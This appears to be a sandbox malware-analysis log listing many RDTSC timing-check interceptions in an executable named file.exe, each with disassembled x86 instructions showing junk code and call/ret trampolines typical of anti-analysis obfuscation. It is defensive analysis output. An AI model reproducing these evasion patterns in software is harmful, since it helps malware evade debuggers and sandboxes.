Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE185 second address: 6EE18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F02BD second address: 6F02C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE18B second address: 6EE190 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF395 second address: 6EF39F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2453 second address: 6F2457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F32C7 second address: 6F32CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2457 second address: 6F245B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F32CD second address: 6F3344 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0734D2B7A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D2BA8h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F0734D2B7A8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f cld 0x00000030 push 00000000h 0x00000032 jg 00007F0734D2B7C1h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jc 00007F0734D2B7B5h 0x00000041 jmp 00007F0734D2B7AFh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F34F8 second address: 6F350E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0734C6ABECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F350E second address: 6F359E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D3BE5h], eax 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov edi, edx 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e mov ebx, dword ptr [ebp+122D22D2h] 0x00000024 mov eax, dword ptr [ebp+122D0F61h] 0x0000002a jmp 00007F0734D2B7AFh 0x0000002f push FFFFFFFFh 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F0734D2B7A8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b call 00007F0734D2B7B6h 0x00000050 mov edi, 6CDA03E4h 0x00000055 pop edi 0x00000056 clc 0x00000057 mov ebx, ecx 0x00000059 nop 0x0000005a jc 00007F0734D2B7ACh 0x00000060 pushad 0x00000061 pushad 0x00000062 popad 0x00000063 pushad 0x00000064 popad 0x00000065 popad 0x00000066 push eax 0x00000067 jp 00007F0734D2B7B0h 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77A8 second address: 6F77AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77AD second address: 6F77BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007F0734D2B7B0h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77BF second address: 6F7830 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F0734C6ABE8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 pushad 0x00000022 clc 0x00000023 movzx edx, dx 0x00000026 popad 0x00000027 mov di, bx 0x0000002a push 00000000h 0x0000002c movzx edi, di 0x0000002f sbb di, C2E9h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F0734C6ABE8h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D21F9h], edx 0x00000056 mov dword ptr [ebp+122D2155h], edi 0x0000005c xchg eax, esi 0x0000005d push ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7830 second address: 6F7834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7834 second address: 6F7841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6A14 second address: 6F6A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6A18 second address: 6F6A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6A1E second address: 6F6A5A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0734D2B7BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0734D2B7B8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7A88 second address: 6F7A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7A8C second address: 6F7A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7A92 second address: 6F7A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6B11 second address: 6F6B17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F7A98 second address: 6F7A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8A23 second address: 6F8A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA8B0 second address: 6FA8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F0734C6ABF3h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA8CA second address: 6FA946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 jne 00007F0734D2B7ACh 0x0000000d push dword ptr fs:[00000000h] 0x00000014 clc 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c mov bh, EEh 0x0000001e movsx ebx, si 0x00000021 mov eax, dword ptr [ebp+122D0CF5h] 0x00000027 sub dword ptr [ebp+122D3786h], esi 0x0000002d push FFFFFFFFh 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F0734D2B7A8h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 jo 00007F0734D2B7BCh 0x0000004f call 00007F0734D2B7AFh 0x00000054 or edi, 39CE421Ch 0x0000005a pop ebx 0x0000005b nop 0x0000005c push eax 0x0000005d push edx 0x0000005e jne 00007F0734D2B7ACh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC728 second address: 6FC72E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7034EF second address: 7034F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7034F3 second address: 7034FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7034FC second address: 703502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703502 second address: 70350B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70350B second address: 703511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703511 second address: 703515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70367D second address: 703689 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0734D2B7A6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703689 second address: 70368E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7037CD second address: 7037E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734D2B7B5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7037E8 second address: 7037EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707EA1 second address: 707EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0734D2B7A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707EAC second address: 707EB6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0734C6ABECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707EB6 second address: 707F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F0734D2B7B1h 0x0000000d push edi 0x0000000e jne 00007F0734D2B7A6h 0x00000014 pop edi 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jbe 00007F0734D2B7CEh 0x00000020 mov eax, dword ptr [eax] 0x00000022 push esi 0x00000023 jmp 00007F0734D2B7ACh 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d pushad 0x0000002e js 00007F0734D2B7ACh 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F359 second address: 70F35D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F35D second address: 70F363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F363 second address: 70F369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F369 second address: 70F373 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0734D2B7B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F373 second address: 70F379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FD87 second address: 70FDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7B8h 0x00000009 jo 00007F0734D2B7A6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FDAA second address: 70FDCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0734C6ABF6h 0x00000008 jbe 00007F0734C6ABE6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FDCD second address: 70FDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70FDD5 second address: 70FDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716B47 second address: 716B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716B4B second address: 716B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D6ED second address: 71D725 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0734D2B7A6h 0x00000008 jmp 00007F0734D2B7B2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jbe 00007F0734D2B7A6h 0x00000016 jmp 00007F0734D2B7AAh 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e jo 00007F0734D2B7AEh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C421 second address: 71C459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 pushad 0x00000009 jng 00007F0734C6ABE8h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F0734C6ABF6h 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jmp 00007F0734C6ABEAh 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CF99 second address: 71CF9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CF9F second address: 71CFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0734C6ABE8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722F75 second address: 722F89 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0734D2B7AEh 0x0000000c push edx 0x0000000d pop edx 0x0000000e jp 00007F0734D2B7A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722F89 second address: 722F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0734C6ABE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722F93 second address: 722FAF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F0734D2B7C0h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 js 00007F0734D2B7A6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722FAF second address: 722FB9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0734C6ABE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721CC9 second address: 721CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72211D second address: 722123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722123 second address: 72213F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72269F second address: 7226C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABF0h 0x00000009 pop esi 0x0000000a jmp 00007F0734C6ABF2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7226C6 second address: 7226E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0734D2B7B6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722853 second address: 722884 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0734C6ABE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0734C6ABECh 0x00000011 jmp 00007F0734C6ABF9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722884 second address: 7228A2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0734D2B7A6h 0x00000008 jo 00007F0734D2B7A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F0734D2B7A6h 0x00000018 jg 00007F0734D2B7A6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7228A2 second address: 7228A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727892 second address: 727896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5B5C second address: 6E5B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5B60 second address: 6E5B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6080 second address: 6E6084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E635B second address: 6E6370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 xchg eax, esi 0x00000007 movzx ecx, dx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jnp 00007F0734D2B7A6h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E66AD second address: 6E66B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6DDF second address: 6E6DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6DE3 second address: 6E6E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007F0734C6ABE8h 0x0000000f pushad 0x00000010 jbe 00007F0734C6ABE6h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F0734C6ABE8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 push edi 0x00000036 mov dx, 5543h 0x0000003a pop ecx 0x0000003b lea eax, dword ptr [ebp+1248A84Ah] 0x00000041 call 00007F0734C6ABEDh 0x00000046 call 00007F0734C6ABF2h 0x0000004b xor ecx, dword ptr [ebp+122D2E00h] 0x00000051 pop edi 0x00000052 pop edi 0x00000053 nop 0x00000054 js 00007F0734C6ABEEh 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726A1C second address: 726A34 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0734D2B7B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726A34 second address: 726A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABEBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B8A second address: 726BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7ACh 0x00000007 jmp 00007F0734D2B7B1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CEA second address: 726CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CEE second address: 726CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CF7 second address: 726D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0734C6ABE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D03 second address: 726D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7ACh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D14 second address: 726D21 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0734C6ABE8h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7270E4 second address: 7270EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7270EA second address: 7270F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7270F3 second address: 7270F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7270F7 second address: 72710A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jns 00007F0734C6ABE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72710A second address: 72710E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72710E second address: 727118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a rdtsc
